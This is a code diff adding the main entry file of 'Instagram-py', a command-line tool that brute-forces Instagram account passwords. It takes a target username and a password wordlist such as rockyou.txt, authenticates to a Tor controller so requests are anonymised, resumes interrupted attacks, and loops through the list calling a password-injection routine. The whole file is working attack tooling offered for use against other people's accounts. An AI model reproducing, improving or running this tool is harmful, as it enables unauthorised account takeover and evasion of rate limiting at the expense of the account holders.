|
| 1 | +# Instagram , Copyright (C) 2017 The Future Shell , DeathSec |
| 2 | +# filename: __init__.py |
| 3 | +# The traditional init file! |
| 4 | + |
| 5 | +import argparse |
| 6 | +from stem import Signal # to control tor server |
| 7 | +from stem.control import Controller |
| 8 | +from .getfile import * |
| 9 | +from .constants import * |
| 10 | +from .logger import * |
| 11 | +from .colors import Fore , Back , Style , init |
| 12 | +from .instagram_bot import InjectPassword |
| 13 | + |
| 14 | +init(autoreset=True) # set to automatically reset colors! |
| 15 | + |
| 16 | +# set current proc globals |
| 17 | + |
| 18 | +cmd_parser = argparse.ArgumentParser( |
| 19 | + epilog=Fore.BLUE + Style.BRIGHT + |
| 20 | + '''example: instagram-py -v instatestgod__ rockyou.txt''' |
| 21 | +) |
| 22 | +# nargs = '+' , makes them positional argument. |
| 23 | +cmd_parser.add_argument('USERNAME' , # parse username from command line |
| 24 | + type=str , |
| 25 | + help='username for Instagram account' , |
| 26 | + nargs = '+' |
| 27 | +) |
| 28 | + |
| 29 | +cmd_parser.add_argument('PASSWORD_LIST' , # parse path to password list file |
| 30 | + type=str , |
| 31 | + default='./' , |
| 32 | + help='password list file to try with the given username.' , |
| 33 | + nargs='+' |
| 34 | +) |
| 35 | + |
| 36 | +cmd_parser.add_argument('--verbose' , # check if the user wants verbose mode enabled |
| 37 | + '-v' , |
| 38 | + action='count' , |
| 39 | + help='Activate Verbose mode!' |
| 40 | +) |
| 41 | + |
| 42 | +def main(): |
| 43 | + print_head(False) # print our appInfo! |
| 44 | + parsed = cmd_parser.parse_args() # lets get the input from the user! |
| 45 | + updateConfigWithCmdParsed(current_session , parsed) # updates all our required constants! |
| 46 | + |
| 47 | + current_session['start'] = datetime.now() # set the start time |
| 48 | + |
| 49 | + getPasswordList(current_session) # check and get password list file |
| 50 | + |
| 51 | + loadSavefile(current_session) # check if the user did a previous attack and resume it if the user wishes |
| 52 | + |
| 53 | + # open a new tor controller |
| 54 | + current_session['tor_controller'] = Controller.from_port(port = int(current_session['config']['tor']['control']['port'])) |
| 55 | + # authenticate with tor |
| 56 | + try: |
| 57 | + if current_session['config']['tor']['control']['password'] == '': |
| 58 | + current_session['tor_controller'].authenticate() |
| 59 | + else: |
| 60 | + current_session['tor_controller'].authenticate(password = current_session['config']['tor']['control']['password']) |
| 61 | + except: |
| 62 | + report_err(app_error['tor_wrong_passwd']) # report and exit if anything goes wrong! |
| 63 | + |
| 64 | + # show user attack status! |
| 65 | + print(Fore.YELLOW + '[!] attack started: ' + Style.RESET_ALL + Fore.CYAN + str(current_session['start'])) |
| 66 | + print(Style.BRIGHT + '[+] target account: ' + Style.RESET_ALL + Fore.CYAN + current_session['username'] ) |
| 67 | + print(Style.BRIGHT + '[*] password list path: ' + Style.RESET_ALL + Fore.CYAN + current_session['passwordFile']) |
| 68 | + |
| 69 | + print(Style.BRIGHT + '[ ' + Fore.RED + 'ATTACK STATUS'+ Style.RESET_ALL + Style.BRIGHT +' ]') |
| 70 | + |
| 71 | + # resume the attack if possible |
| 72 | + current_line = 1 |
| 73 | + if current_session['save'] == "none": |
| 74 | + resume_line = 0 |
| 75 | + else: |
| 76 | + resume_line = int(current_session['save']['line-count']) |
| 77 | + |
| 78 | + # open the password list and start the attack! |
| 79 | + with open(current_session['passwordFile'] , encoding='utf-8' , errors ='ignore') as infile: |
| 80 | + for passwd in infile: |
| 81 | + if resume_line > current_line: # check if the user finished some passwords! |
| 82 | + current_line += 1 |
| 83 | + else: |
| 84 | + current_session['password'] = passwd.rstrip() |
| 85 | + current_session['proceedWith'] = False |
| 86 | + while not current_session['proceedWith']: |
| 87 | + InjectPassword(current_session , current_line) |
| 88 | + |
| 89 | + |
| 90 | + # if no password is found in the given password list then report error and exit |
| 91 | + report_err(app_error['no_pass_in_p_file']) # we are not lucky today! |
0 commit comments